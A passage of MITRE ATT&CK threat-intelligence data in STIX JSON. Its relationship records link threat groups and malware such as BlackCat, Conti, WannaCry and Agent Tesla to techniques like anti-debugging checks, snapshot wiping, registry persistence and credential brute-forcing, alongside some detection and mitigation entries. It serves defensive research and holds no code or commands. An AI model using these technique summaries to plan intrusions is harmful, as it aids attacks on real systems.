video game developer company to send phishing emails.(Citation: apt41_mandiant)","relationship_type":"uses","source_ref":"intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7","target_ref":"attack-pattern--c9e0c59e-162e-40a4-b8b1-78fab4329ada","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d9a49337-e1a4-49ee-b0f1-ef80c7c37a99","type":"relationship","created":"2020-11-09T14:52:45.740Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Kimsuky November 2020","url":"https://www.cybereason.com/blog/back-to-the-future-inside-the-kimsuky-kgh-spyware-suite","description":"Dahan, A. et al. (2020, November 2). Back to the Future: Inside the Kimsuky KGH Spyware Suite. Retrieved November 6, 2020."}],"modified":"2020-11-09T14:52:45.740Z","description":"[CSPY Downloader](https://attack.mitre.org/software/S0527) can search loaded modules, PEB structure, file paths, Registry keys, and memory to determine if it is being debugged or running in a virtual environment.(Citation: Cybereason Kimsuky November 2020)","relationship_type":"uses","source_ref":"tool--5256c0f8-9108-4c92-8b09-482dfacdcd94","target_ref":"attack-pattern--29be378d-262d-4e99-b00d-852d573628e6","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d9a670e7-9076-4a4f-8861-981bb04b946f","created":"2022-07-14T17:37:51.525Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"BlackBerry Amadey 2020","description":"Kasuya, M. (2020, January 8). Threat Spotlight: Amadey Bot Targets Non-Russian Users. Retrieved July 14, 2022.","url":"https://blogs.blackberry.com/en/2020/01/threat-spotlight-amadey-bot"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-13T15:38:50.218Z","description":"[Amadey](https://attack.mitre.org/software/S1025) has collected the user name from a compromised host using `GetUserNameA`.(Citation: BlackBerry Amadey 2020)","relationship_type":"uses","source_ref":"malware--05318127-5962-444b-b900-a9dcfe0ff6e9","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d9a681a0-bf13-40b2-9534-f244d48d3a92","created":"2024-09-17T17:17:03.153Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Bleeping Computer Latrodectus April 2024","description":"Abrams, L. (2024, April 30). New Latrodectus malware attacks use Microsoft, Cloudflare themes. Retrieved September 13, 2024.","url":"https://www.bleepingcomputer.com/news/security/new-latrodectus-malware-attacks-use-microsoft-cloudflare-themes/"},{"source_name":"Latrodectus APR 2024","description":"Proofpoint Threat Research and Team Cymru S2 Threat Research. (2024, April 4). Latrodectus: This Spider Bytes Like Ice . Retrieved May 31, 2024.","url":"https://www.proofpoint.com/us/blog/threat-insight/latrodectus-spider-bytes-ice"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-17T20:37:02.064Z","description":"[Latrodectus](https://attack.mitre.org/software/S1160) has been distributed to victims through emails containing malicious links.(Citation: Latrodectus APR 2024)(Citation: Bleeping Computer Latrodectus April 2024)","relationship_type":"uses","source_ref":"malware--76fde8df-3495-47c9-82eb-125c4f7fb621","target_ref":"attack-pattern--2b742742-28c3-4e1b-bab7-8350d6300fa7","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d9a91275-c80a-445b-a6dd-503caba8de97","created":"2024-09-25T13:53:20.243Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-25T13:53:20.243Z","description":"","relationship_type":"subtechnique-of","source_ref":"attack-pattern--130d4494-b2d6-4040-bcea-6e59f05222fe","target_ref":"attack-pattern--cd25c1b4-935c-4f0e-ba8d-552f28bc4783","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d9a97894-9a90-43cd-b9b9-9d13545aeb5a","type":"relationship","created":"2020-12-29T18:24:21.297Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA AA20-259A Iran-Based Actor September 2020","url":"https://us-cert.cisa.gov/ncas/alerts/aa20-259a","description":"CISA. (2020, September 15). Iran-Based Threat Actor Exploits VPN Vulnerabilities. Retrieved December 21, 2020."},{"source_name":"Check Point Pay2Key November 2020","url":"https://research.checkpoint.com/2020/ransomware-alert-pay2key/","description":"Check Point. (2020, November 6). Ransomware Alert: Pay2Key. Retrieved January 4, 2021."}],"modified":"2021-01-05T15:23:22.291Z","description":"(Citation: CISA AA20-259A Iran-Based Actor September 2020)(Citation: Check Point Pay2Key November 2020)","relationship_type":"uses","source_ref":"intrusion-set--c21dd6f1-1364-4a70-a1f7-783080ec34ee","target_ref":"tool--ff6caf67-ea1f-4895-b80e-4bb0fc31c6db","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d9af5e2e-3ac5-451a-bc63-c3e26ca6371e","created":"2023-03-02T18:46:24.302Z","revoked":false,"external_references":[{"source_name":"Sophos BlackCat Jul 2022","description":"Brandt, Andrew. (2022, July 14). BlackCat ransomware attacks not merely a byproduct of bad luck. Retrieved December 20, 2022.","url":"https://news.sophos.com/en-us/2022/07/14/blackcat-ransomware-attacks-not-merely-a-byproduct-of-bad-luck/"},{"source_name":"Microsoft BlackCat Jun 2022","description":"Microsoft Defender Threat Intelligence. (2022, June 13). The many lives of BlackCat ransomware. Retrieved December 20, 2022.","url":"https://www.microsoft.com/en-us/security/blog/2022/06/13/the-many-lives-of-blackcat-ransomware/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-02T18:46:24.302Z","description":"[BlackCat](https://attack.mitre.org/software/S1068) has the ability to wipe VM snapshots on compromised networks.(Citation: Microsoft BlackCat Jun 2022)(Citation: Sophos BlackCat Jul 2022)","relationship_type":"uses","source_ref":"malware--50c44c34-3abb-48ae-9433-a2337de5b0bc","target_ref":"attack-pattern--fb640c43-aa6b-431e-a961-a279010424ac","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d9b4a18a-955a-4ef8-93b2-61db23e59b75","created":"2023-03-22T22:09:57.090Z","revoked":false,"external_references":[{"source_name":"Volexity Patchwork June 2018","description":"Meltzer, M, et al. (2018, June 07). Patchwork APT Group Targets US Think Tanks. Retrieved July 16, 2018.","url":"https://www.volexity.com/blog/2018/06/07/patchwork-apt-group-targets-us-think-tanks/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-22T22:09:57.090Z","description":"[Patchwork](https://attack.mitre.org/groups/G0040) has used embedded image tags (known as web bugs) with unique, per-recipient tracking links in their emails for the purpose of identifying which recipients opened messages.(Citation: Volexity Patchwork June 2018)","relationship_type":"uses","source_ref":"intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0","target_ref":"attack-pattern--2d3f5b3c-54ca-4f4d-bb1f-849346d31230","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d9b4c254-8e05-4410-ae4d-a47f55e6bf51","type":"relationship","created":"2021-02-22T20:31:47.167Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro Waterbear December 2019","url":"https://www.trendmicro.com/en_us/research/19/l/waterbear-is-back-uses-api-hooking-to-evade-security-product-detection.html","description":"Su, V. et al. (2019, December 11). Waterbear Returns, Uses API Hooking to Evade Security. Retrieved February 22, 2021."}],"modified":"2021-02-22T20:31:47.167Z","description":"[Waterbear](https://attack.mitre.org/software/S0579) can identify the process for a specific security product.(Citation: Trend Micro Waterbear December 2019)","relationship_type":"uses","source_ref":"malware--f3f1fbed-7e29-49cb-8579-4a378f858deb","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d9b7596b-185a-4a2f-8559-6b9349f4c9b9","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Github Koadic","description":"Magius, J., et al. (2017, July 19). Koadic. Retrieved September 27, 2024.","url":"https://github.com/offsecginger/koadic"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-27T18:36:30.846Z","description":"[Koadic](https://attack.mitre.org/software/S0250) can use SSL and TLS for communications.(Citation: Github Koadic)","relationship_type":"uses","source_ref":"tool--c8655260-9f4b-44e3-85e1-6538a5f6e4f4","target_ref":"attack-pattern--bf176076-b789-408e-8cba-7275e81c0ada","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d9b8e0cf-8906-45a4-8dd2-5ef9971e1a6d","created":"2019-10-15T20:02:39.741Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FinFisher Citation","description":"FinFisher. (n.d.). Retrieved September 12, 2024.","url":"https://web.archive.org/web/20171222050934/http://www.finfisher.com/FinFisher/index.html"},{"source_name":"Securelist BlackOasis Oct 2017","description":"Kaspersky Lab's Global Research & Analysis Team. (2017, October 16). BlackOasis APT and new targeted attacks leveraging zero-day exploit. Retrieved February 15, 2018.","url":"https://securelist.com/blackoasis-apt-and-new-targeted-attacks-leveraging-zero-day-exploit/82732/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-12T17:23:46.698Z","description":"[FinFisher](https://attack.mitre.org/software/S0182) probes the system to check for antimalware processes.(Citation: FinFisher Citation)(Citation: Securelist BlackOasis Oct 2017)","relationship_type":"uses","source_ref":"malware--a5528622-3a8a-4633-86ce-8cdaf8423858","target_ref":"attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--d9bcecd1-fbe7-4b70-a840-ecf53f0cd56f","created":"2022-04-28T15:27:12.599Z","x_mitre_version":"0.1","external_references":[{"source_name":"dump_pwd_dcsync","url":"https://adsecurity.org/?p=2053","description":"Metcalf, S. (2015, November 22). Dump Clear-Text Passwords for All Admins in the Domain Using Mimikatz DCSync. Retrieved November 15, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"Monitor Fine-Grained Password Policies and regularly audit user accounts and group settings.(Citation: dump_pwd_dcsync)","modified":"2022-04-28T15:27:12.599Z","relationship_type":"detects","source_ref":"x-mitre-data-component--b5d0492b-cda4-421c-8e51-ed2b8d85c5d0","target_ref":"attack-pattern--d50955c2-272d-4ac8-95da-10c29dda1c48","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d9bdae16-d3b3-4260-b1ef-2624cf4e836c","type":"relationship","created":"2021-12-10T14:23:03.570Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA AA20-296A Berserk Bear December 2020","url":"https://www.cisa.gov/uscert/ncas/alerts/aa20-296a#revisions","description":"CISA. (2020, December 1). Russian State-Sponsored Advanced Persistent Threat Actor Compromises U.S. Government Targets. Retrieved December 9, 2021."}],"modified":"2021-12-10T14:23:03.570Z","description":"[Dragonfly](https://attack.mitre.org/groups/G0035) has attempted to brute force credentials to gain access.(Citation: CISA AA20-296A Berserk Bear December 2020)","relationship_type":"uses","source_ref":"intrusion-set--1c63d4ec-0a75-4daa-b1df-0d11af3d3cc1","target_ref":"attack-pattern--a93494bb-4b80-4ea1-8695-3236a49916fd","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d9beae20-bd32-4141-95ff-053cf46e8210","created":"2020-11-06T18:40:38.501Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"ESET T3 Threat Report 2021","description":"ESET. (2022, February). THREAT REPORT T3 2021. Retrieved February 10, 2022.","url":"https://www.welivesecurity.com/wp-content/uploads/2022/02/eset_threat_report_t32021.pdf"},{"source_name":"FireEye SUNBURST Backdoor December 2020","description":"FireEye. (2020, December 13). Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor. Retrieved January 4, 2021.","url":"https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html"},{"source_name":"SentinelOne NobleBaron June 2021","description":"Guerrero-Saade, J. (2021, June 1). NobleBaron | New Poisoned Installers Could Be Used In Supply Chain Attacks. Retrieved August 4, 2021.","url":"https://labs.sentinelone.com/noblebaron-new-poisoned-installers-could-be-used-in-supply-chain-attacks/"},{"source_name":"MSTIC NOBELIUM May 2021","description":"Microsoft Threat Intelligence Center (MSTIC). (2021, May 27). New sophisticated email-based attack from NOBELIUM. Retrieved May 28, 2021.","url":"https://www.microsoft.com/security/blog/2021/05/27/new-sophisticated-email-based-attack-from-nobelium/"},{"source_name":"MSTIC Nobelium Toolset May 2021","description":"MSTIC. (2021, May 28). Breaking down NOBELIUM’s latest early-stage toolset. Retrieved August 4, 2021.","url":"https://www.microsoft.com/security/blog/2021/05/28/breaking-down-nobeliums-latest-early-stage-toolset/"},{"source_name":"Cybersecurity Advisory SVR TTP May 2021","description":"NCSC, CISA, FBI, NSA. (2021, May 7). Further TTPs associated with SVR cyber actors. Retrieved July 29, 2021.","url":"https://www.ncsc.gov.uk/files/Advisory-further-TTPs-associated-with-SVR-cyber-actors.pdf"},{"source_name":"Secureworks IRON RITUAL USAID Phish May 2021","description":"Secureworks CTU. (2021, May 28). USAID-Themed Phishing Campaign Leverages U.S. Elections Lure. Retrieved February 24, 2022.","url":"https://www.secureworks.com/blog/usaid-themed-phishing-campaign-leverages-us-elections-lure"},{"source_name":"Secureworks IRON RITUAL Profile","description":"Secureworks CTU. (n.d.). IRON RITUAL. Retrieved February 24, 2022.","url":"https://www.secureworks.com/research/threat-profiles/iron-ritual"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-20T20:31:00.273Z","description":"(Citation: FireEye SUNBURST Backdoor December 2020)(Citation: Cybersecurity Advisory SVR TTP May 2021)(Citation: MSTIC NOBELIUM May 2021)(Citation: MSTIC Nobelium Toolset May 2021)(Citation: SentinelOne NobleBaron June 2021)(Citation: ESET T3 Threat Report 2021)(Citation: Secureworks IRON RITUAL Profile)(Citation: Secureworks IRON RITUAL USAID Phish May 2021)","relationship_type":"uses","source_ref":"intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542","target_ref":"malware--a7881f21-e978-4fe4-af56-92c9416a2616","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d9bf4d9d-b83b-49f4-b35a-5fb24f522bc7","created":"2024-02-09T19:30:38.325Z","revoked":false,"external_references":[{"source_name":"Rancor WMI","description":"Jen Miller-Osborn and Mike Harbison. (2019, December 17). Rancor: Cyber Espionage Group Uses New Custom Malware to Attack Southeast Asia. Retrieved February 9, 2024.","url":"https://unit42.paloaltonetworks.com/rancor-cyber-espionage-group-uses-new-custom-malware-to-attack-southeast-asia/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-02-09T19:30:38.325Z","description":"[Rancor](https://attack.mitre.org/groups/G0075) has complied VBScript-generated MOF files into WMI event subscriptions for persistence.(Citation: Rancor WMI)","relationship_type":"uses","source_ref":"intrusion-set--f40eb8ce-2a74-4e56-89a1-227021410142","target_ref":"attack-pattern--910906dd-8c0a-475a-9cc1-5e029e2fad58","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d9bfa498-69a1-44f9-8e44-67a6a4c48088","type":"relationship","created":"2019-03-26T13:38:24.635Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Counter Threat Unit Research Team. (2017, May 18). WCry Ransomware Analysis. Retrieved March 26, 2019.","url":"https://www.secureworks.com/research/wcry-ransomware-analysis","source_name":"SecureWorks WannaCry Analysis"}],"modified":"2020-04-29T22:25:05.277Z","description":"[WannaCry](https://attack.mitre.org/software/S0366) uses [Tor](https://attack.mitre.org/software/S0183) for command and control traffic and routes a custom cryptographic protocol over the [Tor](https://attack.mitre.org/software/S0183) circuit.(Citation: SecureWorks WannaCry Analysis)","relationship_type":"uses","source_ref":"malware--75ecdbf1-c2bb-4afc-a3f9-c8da4de8c661","target_ref":"attack-pattern--bf176076-b789-408e-8cba-7275e81c0ada","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d9c08e10-909d-46d0-aa15-b99d1487be62","type":"relationship","created":"2020-03-27T13:32:37.823Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://en.wikipedia.org/wiki/HTTP_Public_Key_Pinning","description":"Wikipedia. (2017, February 28). HTTP Public Key Pinning. Retrieved March 31, 2017.","source_name":"Wikipedia HPKP"}],"modified":"2021-08-16T19:46:03.661Z","description":"HTTP Public Key Pinning (HPKP) is one method to mitigate potential [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) situations where and adversary uses a mis-issued or fraudulent certificate to intercept encrypted communications by enforcing use of an expected certificate. (Citation: Wikipedia HPKP)","relationship_type":"mitigates","source_ref":"course-of-action--b5dbb4c5-b0b1-40b1-80b6-e9e84ab90067","target_ref":"attack-pattern--b83e166d-13d7-4b52-8677-dff90c548fd7","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d9c19c4a-a2e3-41f9-b508-d0d008c08993","type":"relationship","created":"2020-06-15T20:49:55.581Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Malwarebytes Dyreza November 2015","url":"https://blog.malwarebytes.com/threat-analysis/2015/11/a-technical-look-at-dyreza/","description":"hasherezade. (2015, November 4). A Technical Look At Dyreza. Retrieved June 15, 2020."}],"modified":"2020-06-15T20:49:55.581Z","description":"[Dyre](https://attack.mitre.org/software/S0024) has the ability to directly inject its code into the web browser process.(Citation: Malwarebytes Dyreza November 2015)","relationship_type":"uses","source_ref":"malware--63c2a130-8a5b-452f-ad96-07cf0af12ffe","target_ref":"attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d9c20d20-cd4a-45cf-81a2-e9a8f6c9e78c","type":"relationship","created":"2019-06-10T17:44:49.348Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Bromium Ursnif Mar 2017","url":"https://www.bromium.com/how-ursnif-evades-detection/","description":"Holland, A. (2019, March 7). Tricks and COMfoolery: How Ursnif Evades Detection. Retrieved June 10, 2019."}],"modified":"2021-02-09T14:03:21.361Z","description":"[Ursnif](https://attack.mitre.org/software/S0386) droppers have used WMI classes to execute [PowerShell](https://attack.mitre.org/techniques/T1059/001) commands.(Citation: Bromium Ursnif Mar 2017)","relationship_type":"uses","source_ref":"malware--1492d0f8-7e14-4af3-9239-bc3fe10d3407","target_ref":"attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d9c29485-ced4-4ebc-880c-31d35dd54b26","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html","description":"Carr, N.. (2017, May 14). Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. Retrieved June 18, 2017.","source_name":"FireEye APT32 May 2017"}],"modified":"2019-07-17T13:11:38.949Z","description":"(Citation: FireEye APT32 May 2017)","relationship_type":"uses","source_ref":"intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e","target_ref":"malware--98e8a977-3416-43aa-87fa-33e287e9c14c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d9c2b891-e40d-4963-aef7-3b43b20f21c1","type":"relationship","created":"2022-03-30T14:26:51.859Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.859Z","description":"Many Office-related persistence mechanisms require changes to the Registry and for binaries, files, or scripts to be written to disk or existing files modified to include malicious scripts. Collect events related to Registry key creation and modification for keys that could be used for Office-based persistence.(Citation: CrowdStrike Outlook Forms)(Citation: Outlook Today Home Page)","source_ref":"x-mitre-data-component--7f70fae7-a68d-4730-a83a-f260b9606129","target_ref":"attack-pattern--2c4d4e92-0ccf-4a97-b54c-86d662988a53","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CrowdStrike Outlook Forms","description":"Parisi, T., et al. (2017, July). Using Outlook Forms for Lateral Movement and Persistence. Retrieved February 5, 2019.","url":"https://malware.news/t/using-outlook-forms-for-lateral-movement-and-persistence/13746"},{"source_name":"Outlook Today Home Page","description":"Soutcast. (2018, September 14). Outlook Today Homepage Persistence. Retrieved February 5, 2019.","url":"https://medium.com/@bwtech789/outlook-today-homepage-persistence-33ea9b505943"}]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d9cb13e1-cb80-4194-8b08-0f672e2f89db","type":"relationship","created":"2022-03-30T14:26:51.832Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.832Z","description":"Monitor Registry keys within HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options.","source_ref":"x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170","target_ref":"attack-pattern--70e52b04-2a0c-4cea-9d18-7149f1df9dc5","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d9cb5add-4191-4c2e-bcde-25336748804c","type":"relationship","created":"2021-02-17T19:22:30.953Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Conti Jan 2021","url":"https://www.cybereason.com/blog/cybereason-vs.-conti-ransomware","description":"Rochberger, L. (2021, January 12). Cybereason vs. Conti Ransomware. Retrieved February 17, 2021."},{"source_name":"CarbonBlack Conti July 2020","url":"https://www.carbonblack.com/blog/tau-threat-discovery-conti-ransomware/","description":"Baskin, B. (2020, July 8). TAU Threat Discovery: Conti Ransomware. Retrieved February 17, 2021."}],"modified":"2021-02-17T19:22:30.953Z","description":"[Conti](https://attack.mitre.org/software/S0575) can spread itself by infecting other remote machines via network shared drives.(Citation: Cybereason Conti Jan 2021)(Citation: CarbonBlack Conti July 2020) ","relationship_type":"uses","source_ref":"malware--4dea7d8e-af94-4bfb-afe4-7ff54f59308b","target_ref":"attack-pattern--246fd3c7-f5e3-466d-8787-4c13d9e3b61c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d9cd513e-c863-4695-a6e0-b2e4e79c24e8","type":"relationship","created":"2020-12-17T17:23:08.124Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"SentinelLabs Agent Tesla Aug 2020","url":"https://labs.sentinelone.com/agent-tesla-old-rat-uses-new-tricks-to-stay-on-top/","description":"Walter, J. (2020, August 10). Agent Tesla | Old RAT Uses New Tricks to Stay on Top. Retrieved December 11, 2020."}],"modified":"2020-12-17T17:23:08.124Z","description":"[Agent Tesla](https://attack.mitre.org/software/S0331) can achieve persistence by modifying Registry key entries.(Citation: SentinelLabs Agent Tesla Aug 2020) ","relationship_type":"uses","source_ref":"malware--e7a5229f-05eb-440e-b982-9a6d2b2b87c8","target_ref":"attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d9cd7a48-0728-4e56-9c74-45baf45cf0ff","type":"relationship","created":"2021-09-29T20:46:38.429Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA AA20-239A BeagleBoyz August 2020","url":"https://us-cert.cisa.gov/ncas/alerts/aa20-239a","description":"DHS/CISA. (2020, August 26). FASTCash 2.0: North Korea's BeagleBoyz Robbing Banks. Retrieved September 29, 2021."}],"modified":"2021-09-29T20:46:38.429Z","description":"[APT38](https://attack.mitre.org/groups/G0082) has used PowerShell to execute commands and other operational tasks.(Citation: CISA AA20-239A BeagleBoyz August 2020)","relationship_type":"uses","source_ref":"intrusion-set--00f67a77-86a4-4adf-be26-1a54fc713340","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d9ce0226-58f6-4907-a20f-6c821b537f7f","created":"2024-03-15T20:42:43.839Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"ESET Security Mispadu Facebook Ads 2019","description":"ESET Security. (2019, November 19). Mispadu: Advertisement for a discounted Unhappy Meal. Retrieved March 13, 